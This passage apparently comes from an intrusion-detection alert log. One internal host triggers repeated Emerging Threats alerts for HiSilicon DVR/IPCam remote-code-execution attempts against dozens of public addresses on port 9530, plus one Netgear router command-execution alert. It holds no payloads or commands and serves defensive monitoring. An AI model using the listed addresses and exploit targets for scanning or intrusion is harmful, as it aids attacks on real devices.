Source Port:	59614
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 52.107.36.3

Timestamp:	05/16/24-16:39:03.275895
SID:	2030487
Source Port:	59614
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 86.224.49.198

Timestamp:	05/16/24-16:38:50.052090
SID:	2030488
Source Port:	41748
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 86.224.49.198

Timestamp:	05/16/24-16:38:50.052090
SID:	2030487
Source Port:	41748
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 183.77.41.202

Timestamp:	05/16/24-16:39:05.704110
SID:	2030487
Source Port:	44058
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 149.63.30.194

Timestamp:	05/16/24-16:39:16.604723
SID:	2030488
Source Port:	40378
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 49.75.248.192

Timestamp:	05/16/24-16:39:05.704039
SID:	2030488
Source Port:	37180
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 132.54.11.55

Timestamp:	05/16/24-16:38:50.065072
SID:	2030488
Source Port:	57880
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 132.54.11.55

Timestamp:	05/16/24-16:38:50.065072
SID:	2030487
Source Port:	57880
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 49.75.248.192

Timestamp:	05/16/24-16:39:05.704039
SID:	2030487
Source Port:	37180
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 121.250.204.235

Timestamp:	05/16/24-16:39:08.145083
SID:	2030488
Source Port:	58004
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 121.91.254.15

Timestamp:	05/16/24-16:39:14.493450
SID:	2030487
Source Port:	49606
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 105.73.202.223

Timestamp:	05/16/24-16:39:12.382135
SID:	2030487
Source Port:	45976
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 54.88.10.33

Timestamp:	05/16/24-16:39:16.579857
SID:	2030487
Source Port:	40738
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 121.91.254.15

Timestamp:	05/16/24-16:39:14.493450
SID:	2030488
Source Port:	49606
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 98.58.140.43

Timestamp:	05/16/24-16:38:53.062219
SID:	2030487
Source Port:	51700
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 98.58.140.43

Timestamp:	05/16/24-16:38:53.062219
SID:	2030488
Source Port:	51700
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 105.73.202.223

Timestamp:	05/16/24-16:39:12.382135
SID:	2030488
Source Port:	45976
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 54.88.10.33

Timestamp:	05/16/24-16:39:16.579857
SID:	2030488
Source Port:	40738
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 161.143.96.77

Timestamp:	05/16/24-16:39:08.041180
SID:	2030487
Source Port:	60812
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 161.143.96.77

Timestamp:	05/16/24-16:39:08.041180
SID:	2030488
Source Port:	60812
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 143.122.46.154

Timestamp:	05/16/24-16:39:16.604813
SID:	2030487
Source Port:	33686
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 143.122.46.154

Timestamp:	05/16/24-16:39:16.604813
SID:	2030488
Source Port:	33686
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 121.250.204.235

Timestamp:	05/16/24-16:39:08.145083
SID:	2030487
Source Port:	58004
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 106.91.233.181

Timestamp:	05/16/24-16:39:16.603163
SID:	2030488
Source Port:	41750
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 205.183.3.122

Timestamp:	05/16/24-16:39:14.494720
SID:	2030487
Source Port:	45164
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 106.91.233.181

Timestamp:	05/16/24-16:39:16.603163
SID:	2030487
Source Port:	41750
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 90.26.101.166

Timestamp:	05/16/24-16:39:13.634198
SID:	2029215
Source Port:	50716
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 205.183.3.122

Timestamp:	05/16/24-16:39:14.494720
SID:	2030488
Source Port:	45164
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 93.56.99.146

Timestamp:	05/16/24-16:38:55.206796
SID:	2030487
Source Port:	48044
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 93.56.99.146

Timestamp:	05/16/24-16:38:55.206796
SID:	2030488
Source Port:	48044
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 76.142.63.106

Timestamp:	05/16/24-16:39:03.290431
SID:	2030487
Source Port:	41976
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 76.142.63.106

Timestamp:	05/16/24-16:39:03.290431
SID:	2030488
Source Port:	41976
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 128.251.41.55

Timestamp:	05/16/24-16:38:57.431249
SID:	2030488
Source Port:	39862
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 156.136.10.32

Timestamp:	05/16/24-16:39:03.281195
SID:	2030488
Source Port:	60282
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 156.136.10.32

Timestamp:	05/16/24-16:39:03.281195
SID:	2030487
Source Port:	60282
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 88.194.106.55

Timestamp:	05/16/24-16:39:16.578960
SID:	2030487
Source Port:	49394
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.194.106.55

Timestamp:	05/16/24-16:39:16.578960
SID:	2030488
Source Port:	49394
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 39.26.83.110

Timestamp:	05/16/24-16:39:02.766974
SID:	2030488
Source Port:	51616
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 39.26.83.110

Timestamp:	05/16/24-16:39:02.766974
SID:	2030487
Source Port:	51616
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 128.251.41.55

Timestamp:	05/16/24-16:38:57.431249
SID:	2030487
Source Port:	39862
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 90.24.157.74

Timestamp:	05/16/24-16:38:53.011410
SID:	2030487
Source Port:	42624
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 90.24.157.74

Timestamp:	05/16/24-16:38:53.011410
SID:	2030488
Source Port:	42624
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 170.224.211.144

Timestamp:	05/16/24-16:39:14.532739
SID:	2030487
Source Port:	34528
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 170.224.211.144

Timestamp:	05/16/24-16:39:14.532739
SID:	2030488
Source Port:	34528
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 122.15.22.32

Timestamp:	05/16/24-16:39:05.676869
SID:	2030488
Source Port:	43986
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 122.15.22.32

Timestamp:	05/16/24-16:39:05.676869
SID:	2030487
Source Port:	43986
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 151.184.219.13

Timestamp:	05/16/24-16:38:59.557979
SID:	2030488
Source Port:	35138
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 101.43.61.18

Timestamp:	05/16/24-16:39:14.522076
SID:	2030487
Source Port:	57872
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 101.43.61.18

Timestamp:	05/16/24-16:39:14.522076
SID:	2030488
Source Port:	57872
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 171.71.9.158

Timestamp:	05/16/24-16:39:08.041140
SID:	2030487
Source Port:	42542
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 171.71.9.158

Timestamp:	05/16/24-16:39:08.041140
SID:	2030488
Source Port:	42542
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 46.119.56.137

Timestamp:	05/16/24-16:39:03.281178
SID:	2030487
Source Port:	57496
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 165.51.182.206

Timestamp:	05/16/24-16:39:05.715305
SID:	2030488
Source Port:	40606
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 165.51.182.206

Timestamp:	05/16/24-16:39:05.715305
SID:	2030487
Source Port:	40606
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 104.68.130.27

Timestamp:	05/16/24-16:39:08.126397
SID:	2030487
Source Port:	53488
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 104.68.130.27

Timestamp:	05/16/24-16:39:08.126397
SID:	2030488
Source Port:	53488
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.119.56.137

Timestamp:	05/16/24-16:39:03.281178
SID:	2030488
Source Port:	57496
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 165.221.55.8

Timestamp:	05/16/24-16:39:16.598453
SID:	2030488
Source Port:	48588
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 90.137.31.85

Timestamp:	05/16/24-16:39:02.767710
SID:	2030488
Source Port:	35392
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 90.137.31.85

Timestamp:	05/16/24-16:39:02.767710
SID:	2030487
Source Port:	35392
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 126.8.222.37

Timestamp:	05/16/24-16:39:08.145045
SID:	2030488
Source Port:	32888
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 126.8.222.37

Timestamp:	05/16/24-16:39:08.145045
SID:	2030487
Source Port:	32888
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 165.221.55.8

Timestamp:	05/16/24-16:39:16.598453
SID:	2030487
Source Port:	48588
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 20.87.63.174

Timestamp:	05/16/24-16:38:57.431241
SID:	2030488
Source Port:	52162
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 59.144.140.118

Timestamp:	05/16/24-16:38:57.407572
SID:	2030487
Source Port:	49254
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 20.87.63.174

Timestamp:	05/16/24-16:38:57.431241
SID:	2030487
Source Port:	52162
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 74.215.109.238

Timestamp:	05/16/24-16:39:14.494730
SID:	2030488
Source Port:	39744
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 74.215.109.238

Timestamp:	05/16/24-16:39:14.494730
SID:	2030487
Source Port:	39744
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 45.194.65.100

Timestamp:	05/16/24-16:38:53.084705
SID:	2030488
Source Port:	49416
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 45.194.65.100

Timestamp:	05/16/24-16:38:53.084705
SID:	2030487
Source Port:	49416
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 169.81.15.168

Timestamp:	05/16/24-16:38:59.558075
SID:	2030488
Source Port:	49570
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 169.81.15.168

Timestamp:	05/16/24-16:38:59.558075
SID:	2030487
Source Port:	49570
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 77.106.157.25

Timestamp:	05/16/24-16:39:16.582466
SID:	2030487
Source Port:	42506
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 77.106.157.25

Timestamp:	05/16/24-16:39:16.582466
SID:	2030488
Source Port:	42506
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 145.150.68.221

Timestamp:	05/16/24-16:38:57.303931
SID:	2030488
Source Port:	51354
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 171.198.0.112

Timestamp:	05/16/24-16:38:53.013617
SID:	2030487
Source Port:	56062
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 145.150.68.221

Timestamp:	05/16/24-16:38:57.303931
SID:	2030487
Source Port:	51354
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 171.198.0.112

Timestamp:	05/16/24-16:38:53.013617
SID:	2030488
Source Port:	56062
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 193.250.95.85

Timestamp:	05/16/24-16:38:53.011369
SID:	2030488
Source Port:	54822
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 112.40.37.61

Timestamp:	05/16/24-16:38:53.071743
SID:	2030488
Source Port:	49410
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 173.78.120.244

Timestamp:	05/16/24-16:39:03.265979
SID:	2030488
Source Port:	46080
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 193.250.95.85

Timestamp:	05/16/24-16:38:53.011369
SID:	2030487
Source Port:	54822
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 112.40.37.61

Timestamp:	05/16/24-16:38:53.071743
SID:	2030487
Source Port:	49410
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 173.78.120.244

Timestamp:	05/16/24-16:39:03.265979
SID:	2030487
Source Port:	46080
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 158.233.74.206

Timestamp:	05/16/24-16:39:16.615032
SID:	2030488
Source Port:	57478
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 158.233.74.206

Timestamp:	05/16/24-16:39:16.615032
SID:	2030487
Source Port:	57478
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 187.104.113.23

Timestamp:	05/16/24-16:38:55.193103
SID:	2030488
Source Port:	42626
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 187.104.113.23

Timestamp:	05/16/24-16:38:55.193103
SID:	2030487
Source Port:	42626
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 158.95.54.184

Timestamp:	05/16/24-16:39:12.384487
SID:	2030488
Source Port:	42142
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 158.95.54.184

Timestamp:	05/16/24-16:39:12.384487
SID:	2030487
Source Port:	42142
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 77.249.36.58

Timestamp:	05/16/24-16:38:50.004122
SID:	2030487
Source Port:	41740
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 77.249.36.58

Timestamp:	05/16/24-16:38:50.004122
SID:	2030488
Source Port:	41740
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 151.184.219.13

Timestamp:	05/16/24-16:38:59.557979
SID:	2030487
Source Port:	35138
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 113.184.10.3

Timestamp:	05/16/24-16:39:14.493585
SID:	2030488
Source Port:	46586
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 59.161.193.108

Timestamp:	05/16/24-16:39:12.382754
SID:	2030487
Source Port:	57932
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 113.184.10.3

Timestamp:	05/16/24-16:39:14.493585
SID:	2030487
Source Port:	46586
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 71.172.73.231

Timestamp:	05/16/24-16:39:08.146707
SID:	2030487
Source Port:	42182
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 59.161.193.108

Timestamp:	05/16/24-16:39:12.382754
SID:	2030488
Source Port:	57932
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

